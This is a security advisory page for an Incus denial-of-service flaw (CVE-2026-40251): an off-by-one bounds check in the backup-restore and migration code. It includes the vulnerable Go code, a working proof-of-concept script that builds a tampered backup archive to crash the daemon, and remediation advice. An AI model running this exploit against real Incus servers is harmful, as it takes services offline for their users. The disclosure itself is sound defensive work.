Incus CVE-2026-40251
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.
Details
The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.
When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.
An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.
Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go
Affected Code:
func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {
[...]
postHook := func(inst instance.Instance) error {
[...]
for i, backupFileSnap := range srcBackup.Snapshots {
var volumeSnapDescription string
var volumeSnapConfig map[string]string
var volumeSnapExpiryDate time.Time
var volumeSnapCreationDate time.Time
// Check if snapshot volume config is available for restore and matches snapshot name.
if srcBackup.Config != nil {
if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {
// Use instance snapshot's creation date if snap info available.
volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt
}
if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {
// If the backup restore interface provides volume snapshot config use it,
// otherwise use default volume config for the storage pool.
volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description
volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config
if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {
volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt
}
// Use volume's creation date if available.
if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt
}
}
}
[...]
}
[...]
}
[...]
}
[...]
func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {
[...]
if !isRemoteClusterMove || args.StoragePool != "" {
for i, snapshot := range args.Snapshots {
snapName := snapshot.GetName()
newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)
snapConfig := vol.Config() // Use parent volume config by default.
snapDescription := volumeDescription // Use parent volume description by default.
snapExpiryDate := time.Time{}
snapCreationDate := time.Time{}
// If the source snapshot config is available, use that.
if srcInfo != nil && srcInfo.Config != nil {
if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {
// Use instance snapshot's creation date if snap info available.
snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt
}
if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {
// Check if snapshot volume config is available then use it.
snapDescription = srcInfo.Config.VolumeSnapshots[i].Description
snapConfig = srcInfo.Config.VolumeSnapshots[i].Config
if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {
snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt
}
// Use volume's creation date if available.
if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt
}
}
}
[...]
}
}
[...]
}PoC
The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.
Step 1: Generate a valid backup and tamper with its snapshot metadata
From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.
Commands:
cat <<'EOF' > poc_snapshot_bounds.sh
#!/bin/bash
set -e
BASE_NAME="base-$(date +%s)"
PANIC_NAME="panic-$(date +%s)"
incus init images:alpine/edge "$BASE_NAME" --project default
incus snapshot create "$BASE_NAME" snap0 --project default
incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default
mkdir -p extract_snapshot_bounds
tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/
chmod -R u+rwX extract_snapshot_bounds/
python3 -c "
import os
import sys
base = '$BASE_NAME'
panic = '$PANIC_NAME'
with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:
lines = f.read().splitlines()
out = []
in_skip = False
skip_indent = 0
for line in lines:
line = line.replace(base, panic)
indent = len(line) - len(line.lstrip())
if in_skip:
if not line.strip():
continue
if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):
continue
else:
in_skip = False
if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):
out.append(line.split(':')[0] + ': []')
in_skip = True
skip_indent = indent
continue
out.append(line)
with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:
f.write('\n'.join(out))
"
cd extract_snapshot_bounds/
tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/
cd ..
rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz
echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz"
EOF
bash poc_snapshot_bounds.shResult:
[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gzStep 2: Trigger the vulnerable restore path
From the same Incus client, import the crafted archive.
Command:
incus import exploit_snapshot_bounds_panic.tar.gz --project defaultResult:
Error: websocket: close 1006 (abnormal closure): unexpected EOFCredit
This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
AnalysisAI
Denial of service in Incus prior to version 7.0.0 allows authenticated users to crash the Incus daemon by importing a maliciously crafted backup archive with physical snapshot directories but tampered metadata arrays. The vulnerability stems from an incorrect bounds check (len(slice) >= i-1 instead of len(slice) > i) in the backup restore and migration code paths, enabling out-of-bounds array access that triggers a runtime panic. Repeated exploitation keeps the Incus service offline, confirmed by a publicly available proof-of-concept.
Technical ContextAI
The vulnerability exists in Incus' backup restore and instance migration subsystems (internal/server/storage/backend.go), specifically in the CreateInstanceFromBackup and CreateInstanceFromMigration functions. When processing backup archives containing physical snapshot directories, the code iterates through snapshots and attempts to correlate them with metadata from parsed YAML configuration slices (Config.Snapshots and Config.VolumeSnapshots). The flawed bounds check uses len(slice) >= i-1, which permits array indexing when i equals len(slice), resulting in out-of-bounds access in Go. The root cause is a classic off-by-one error in array bounds validation (CWE-125: Out-of-bounds Read). An attacker provides a backup with physical snapshot directories that drive the loop counter i, while the index.yaml contains empty or truncated snapshot metadata arrays, causing len(Config.Snapshots) and len(Config.VolumeSnapshots) to be less than the expected index, triggering an immediate runtime panic when the daemon attempts slice[i] dereference.
RemediationAI
Upgrade Incus to version 7.0.0 or later immediately to apply the fix for the out-of-bounds bounds check in backup restore and migration code paths. Vendor-released patch: 7.0.0. Until patching is feasible, mitigate by restricting access to the Incus backup/restore and migration features to trusted administrators only-disable or block the import endpoint (incus import) for untrusted users via network segmentation or API access controls. Additionally, disable instance snapshots if not required, or implement quota restrictions on snapshot counts per user to limit attack surface. Note that these mitigations do not eliminate the vulnerability; they only reduce exposure. Recommended advisory link: https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6.
Same weakness CWE-125 – Out-of-bounds Read
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: MediumShare
External POC / Exploit Code
Leaving vuln.today
GHSA-4m88-wxj4-9qj6